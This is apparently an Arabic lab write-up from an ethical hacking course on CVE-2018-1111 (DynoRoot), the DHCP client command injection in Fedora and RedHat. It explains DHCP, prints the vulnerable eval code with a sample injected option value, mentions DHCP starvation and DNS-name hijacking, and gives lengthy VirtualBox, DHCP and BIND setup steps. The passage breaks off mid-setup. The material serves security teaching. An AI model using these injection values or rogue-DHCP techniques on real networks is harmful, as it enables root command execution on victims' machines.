
استغلال DHCP باستخدام DynoRoot (CVE-2018-1111)
يعرض هذا المشروع ثغرة أمنية معروفة في أجهزة Fedora وRedHat تتعلق بتطبيق غير آمن من جانب العميل لبروتوكول الإعداد الديناميكي للمضيفين (DHCP). يمكن لخادم DHCP مارق صياغة عروض DHCP بحمولة خبيثة يتم تنفيذها في غلاف جذر (root shell) على جهاز الضحية.
تُنسب هذه الثغرة إلى Felix Wilhelm وتُعرف باسم CVE-2018-1111 أو "DynoRoot".
يُعد بروتوكول الإعداد الديناميكي للمضيفين (DHCP) مكوّنًا غالبًا ما يُغفَل في الأنظمة الشبكية. يتمثل دوره في السماح بالتكوين الديناميكي لأجهزة المضيفين التي تتصل بشبكة قائمة. حالة الاستخدام الأكثر شيوعًا هي تعيين عنوان IP للمضيفين المتصلين حديثًا وإعلامهم بالمسارات الموجودة للوصول إلى شبكات أخرى. يمكن تحديد خيارات إضافية، مثل عنوان خادم DNS المحلي والنطاق الذي يخدمه، أو موقع ملف الإقلاع.
دعونا نحلّل بروتوكول الخطوات الأربع الذي يُتّبع عندما يريد مضيف جديد الانضمام إلى شبكة بعد الاتصال بها ماديًا عبر اتصال إيثرنت أو لاسلكي.
DISCOVER إلى الشبكة.OFFER تحتوي على: عنوان IP، وقناع
الشبكة الفرعية، وعنوان الموجّه، وخيارات أخرى.REQUEST، طالبًا رسميًا استئجارَ عنوان IP الذي تم
عرضه.ACK، للإشارة إلى أن العميل مسموح له باستخدام
عنوان IP لفترة زمنية محددة.بعد التبادل الأولي، يمكن للعميل تجديد العقد بمجرد إرسال رسالة REQUEST أخرى. سيتحقق الخادم من وجود عقد بعنوان IP وعنوان MAC الخاصين بالعميل ويرد برسالة ACK.
بعض الأمور الجديرة بالملاحظة:
DISCOVER وطلب عنوان عبر REQUEST مباشرة. وهذا شائع
في السيناريوهات التي يكون فيها العميل قد اتصل بالشبكة سابقًا ويتذكر
العنوان السابق. في هذه الحالة، يتحقق الخادم من توفر العنوان، وإذا كان متاحًا يرد بـ ACK على الطلب، أو إذا لم يكن العقد متاحًا، يرسل NACK.RELEASE لإبلاغ الخادم بأن العنوان
أصبح متاحًا الآن. ومع ذلك، لا يُلزِم البروتوكول بذلك، وسيقوم الخادم بشكل دوري
بجمع العقود منتهية الصلاحية.OFFER لعقود جديدة على العملاء.OFFER متعددة،
فإنه سيقبل واحدًا فقط، بينما تلاحظ الخوادم الأخرى رسالة REQUEST المبثوثة وتبطل
العرض.تقع الثغرة في /etc/NetworkManager/dispatcher.d/11-dhclient، وهو ملف يتم تنفيذه
بواسطة العميل لتحليل الخيارات المستلمة عبر DHCP وتعيينها.
declare هي أمر مدمج في bash، وعند استخدامه بدون وسائط، يسرد جميع المتغيرات المُصرَّح بهاgrep يفلتر جميع المتغيرات المرتبطة بـ DHCPwhile read opt يتكرر على متغيرات DHCP واحدًا تلو الآخر، ويقوم ببعض التحليل ويطبع
سطرًا مثل export new_optionname=value لكل خيار<!-- omit in toc -->
#### التشغيل العادي
في الظروف العادية، سيعمل الكود بشكل جيد ويحلل خيارات DHCP الجديدة.
على سبيل المثال، الكود التالي:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
سيقوم بطباعة عبارتي export هاتين ليتم تقييمهما بواسطة eval:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### حقن الكود
ومع ذلك، ونظرًا لاستخدام `eval` غير الآمن، فمن الممكن حقن أوامر bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
سوف ينتج عن ذلك تنفيذ echo Hacked!:```text
[1] 1541
Hacked!
### المصادر
- [إدخال قاعدة بيانات الاستغلال](https://www.exploit-db.com/exploits/44890)
- [إعلان RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [منشور مدونة Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [مستودع GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [إعلان تويتر](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## الإعداد
يتكون الإعداد الأدنى لتوضيح الاستغلال من جهازين فقط: جهاز `victim`
الذي يعمل بنظام Fedora 28، وجهاز `attacker`. في هذا الإعداد، يحتاج المهاجم فقط إلى تقديم
خدمة DHCP وانتظار اتصال الضحية.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>الإعداد الأدنى للاستغلال.</figcaption>
</figure>
إعداد أكثر واقعية يضع الأجهزة على شبكة خاصة، حيث يتم تكوين جهاز ثالث، وهو
`gateway`، ليكون خادم DHCP غير ضار وبوابة إلى الإنترنت الخارجي.
في هذا الإعداد، يجب على المهاجم منع الضحية من الاتصال بخادم DHCP الشرعي
قبل أن يأمل في تنفيذ الهجوم.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>إعداد الشبكة الخاصة مع جهاز بوابة واحد يعمل كخادم DHCP وموجه وجدار ناري.</figcaption>
</figure>
في الأقسام التالية سنقوم بـ:
1. تثبيت VirtualBox
2. إنشاء 3 أجهزة افتراضية: `gateway`، و`attacker`، و`victim`
3. تثبيت نظام التشغيل على الأجهزة (المستخدمون، الشبكة، ووصول SSH)
4. تكوين البوابة لاستضافة خادم DHCP غير الضار
للشبكة الداخلية الافتراضية المقدمة من VirtualBox
5. تثبيت تبعيات بايثون للهجوم
للقفز مباشرة إلى [التنفيذ العملي للهجوم](#performing-the-attack) وتخطي الإعداد اليدوي، يمكن
تشغيل سكربت [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) في مجلد `ansible`، والذي سيقوم (تقريبًا)
بشكل تلقائي بإنشاء الأجهزة الافتراضية وتكوينها باستخدام
[أدوار Ansible](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html).
فقط تأكد من تثبيت Ansible و VirtualBox قبل تشغيل `setup.sh`.
### مقدمات
#### تثبيت VirtualBox
الإرشادات التالية مأخوذة من [دليل التثبيت الرسمي](https://www.virtualbox.org/wiki/Downloads).
أضف هذا السطر إلى `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
قم بتثبيت VirtualBox وحزمة الامتدادات:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### تثبيت Ansible (اختياري)
من [الدليل الرسمي لأوبونتو](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
في هذا القسم، سننشئ بيانات اعتماد SSH التي سنستخدمها لتسجيل الدخول إلى الأجهزة. إضافة إدخالات المضيف في ملف إعدادات SSH سيوفر علينا بعض الكتابة لاحقًا.
أنشئ مفتاح SSH بدون عبارة مرور:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
أضف هذه الإدخالات إلى إعداد SSH (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
تستضيف هذه الآلة خادم DHCP غير الضار الذي يدير مجموعة عناوين على الشبكة الداخلية. وهي مبنية على Ubuntu Server 18.04 مع حزمة ISC DHCP.
في سيناريو حقيقي، ستقوم هذه الآلة أيضًا بدور موجه (iptables) وجدار حماية (UFW Uncomplicated Firewall) بين الأجهزة الموجودة على الشبكة والعالم الخارجي. ومن المحتمل أن تستضيف أيضًا خادم DNS لبعض الخدمات الداخلية (BIND9).
سنقوم بإنشاء الآلة الافتراضية باستخدام أدوات سطر الأوامر في VirtualBox، بحيث يمكن تكرار العملية بأسرع وقت ممكن. وإلا، فمن الممكن إنشاء الآلة الافتراضية عبر الواجهة الرسومية عن طريق إدخال نفس الإعدادات.
قم بتنزيل ISO الخاص بـ Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
أنشئ الجهاز الافتراضي:
- واجهة الشبكة 1 متصلة بشبكة NAT الافتراضية الخاصة بـ VirtualBox
- واجهة الشبكة 2 متصلة بالشبكة الداخلية `intnet`\
(الرمز "d" في عنوان MAC يشير إلى DHCP)
- إعادة توجيه المنفذ من منفذ `600x` على المضيف إلى منفذ SSH في الجهاز الافتراضي```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
إذا حدث خطأ ما:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### تثبيت نظام التشغيل
في المرة الأولى التي نشغّل فيها الجهاز، نحتاج إلى سطح مكتب افتراضي لمتابعة خطوات التثبيت. يمكننا
تشغيل الجهاز الافتراضي في وضع headless واستخدام `rdesktop-vrdp` للاتصال. إذا كان VirtualBox
يعمل على جهاز كمبيوتر مكتبي، فقد يكون من الأسهل تشغيل الجهاز الافتراضي من الواجهة الرسومية، لكن
هذه الطريقة ستعمل حتى مع مضيف VirtualBox بعيد.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
معلمات التكوين لبرنامج التثبيت:
gatewaygatewaygat192.168.0.1 على enp0s8

بعد التثبيت، قم بإيقاف التشغيل، وأزل ملف ISO، وعطّل VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### تسجيل الدخول عبر SSH
لتسهيل الوصول، يمكننا تثبيت مفتاح SSH الذي أنشأناه أعلاه في جهاز `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
إذا لم يتم تكوين واجهة الشبكة enp0s8 لسبب ما أثناء التثبيت،
اكتب هذا الإعداد إلى /etc/netplan/00-installer-config.yaml:```yaml
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
وقم بتحديث تكوين الشبكة:```
sudo netplan apply
ip addr show dev enp0s8
تثبيت ISC DHCP:```bash sudo apt install -y isc-dhcp-server
لتفعيل DHCP على الواجهة الداخلية، دعنا نعدّل `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
يُكتب تكوين تجمّع العناوين المُدار بواسطة DHCP في /etc/dhcp/dhcpd.conf:```
authoritative;
default-lease-time 60; max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }
مدة الإيجار الافتراضية المختارة البالغة دقيقة واحدة قصيرة نوعًا ما، لكنها مفيدة لأغراض العرض التوضيحي.
<!--```bash
echo '
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
option domain-name-servers 192.168.0.53;
option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
sudo systemctl restart isc-dhcp-server
--> إعادة تشغيل الخدمة:```bash sudo systemctl restart isc-dhcp-server
يتم تسجيل أحداث DHCP في `/var/log/syslog`.
يمكننا إبراز الإدخالات ذات الصلة باستخدام:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
إذا تركنا gateway قيد التشغيل أثناء تثبيت الأجهزة الأخرى،
فسوف تحصل على إعدادات DHCP تلقائيًا.
ثبّت bind:```bash sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
عدّل `/etc/bind/named.conf.options`:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
عدّل /etc/bind/named.conf.local:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
أنشئ ملفات المنطقة الأمامية والعكسية في مجلد للقراءة فقط بالنسبة إلى bind:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
قم بتشغيل الفحوصات وأعد التشغيل:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
تحقق من أنه يعمل```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
إنشاء مفتاح متماثل لتحديثات DNS:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
ضمّن المفتاح في `/etc/bind/named.conf.local`:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
انسخ ملف المنطقة الأصلي إلى مجلد قابل للكتابة بواسطة bind، وأزل سجل server:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
قم بتشغيل الفحوصات وإعادة التشغيل:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
تحقق من أنها تعمل عن طريق تحديث إدخال DNS يدويًا.
أثناء القيام بما يلي، راقب tail -f /var/log/syslog بحثًا عن الأخطاء.
في النهاية، احذف الإدخالات الجديدة وإلا ستفشل تحديثات DHCP:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### إعداد DHCP
قم بتكوين DHCP لتحديث سجلات DNS تلقائيًا:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
يمكن التحقق من إعدادات DHCP باستخدام sudo dhcpd -t.
عند تشغيل جهاز باسم المضيف server، يجب أن يظهر /var/log/syslog على النحو التالي:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
عندما يتم تشغيل جهاز آخر باسم المضيف `fedora`، فإنه يحصل على عنوان IP لكنه لا يُضاف إلى DNS بسبب `update-policy`:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
المشكلة هي أن DHCP سيسجل أي جهاز يحمل اسم المضيف server في DNS،
طالما أنه الجهاز الأول. إذا حاول مهاجم الاتصال عبر DHCP باستخدام اسم مضيف server مكرر،
فسيلاحظ DHCP ذلك ويرفض تحديث DNS.```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
ولكن إذا تعطل الخادم الشرعي `server` لبعض الوقت، يتم تحرير عقد الإيجار الخاص به وإزالة السجلات.
عندها يمكن للمهاجم ببساطة التسلل عن طريق توفير `server` كاسم المضيف أثناء تبادل DHCP
الأولي.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->
بيئة Conda مع Scapy:```bash sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc
conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'
بعد ذلك، سنحصل على سكربتي الهجوم من GitHub:
- **تجويع DHCP**\
سيُغرق هذا السكربت خادم DHCP الشرعي بطلبات وهمية،
مما يستنفد مجموعة العناوين المتاحة. ```bash
git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
جهاز الضحية غير مهيأ بأي طريقة معينة، إنه مجرد تثبيت فيدورا 28 مع NetworkManager يحتوي على ثغرة أمنية.
قم بتنزيل ISO الخاص بفيدورا:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
إنشاء الجهاز الافتراضي:
- واجهة الشبكة 1 متصلة بشبكة NAT الافتراضية لـ VirtualBox
- واجهة الشبكة 2 متصلة بالشبكة الداخلية `intnet`\
(حرف "f" في عنوان MAC يرمز إلى Fedora)
- إعادة توجيه المنفذ من منفذ `600x` على المضيف إلى منفذ SSH في الجهاز الافتراضي```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
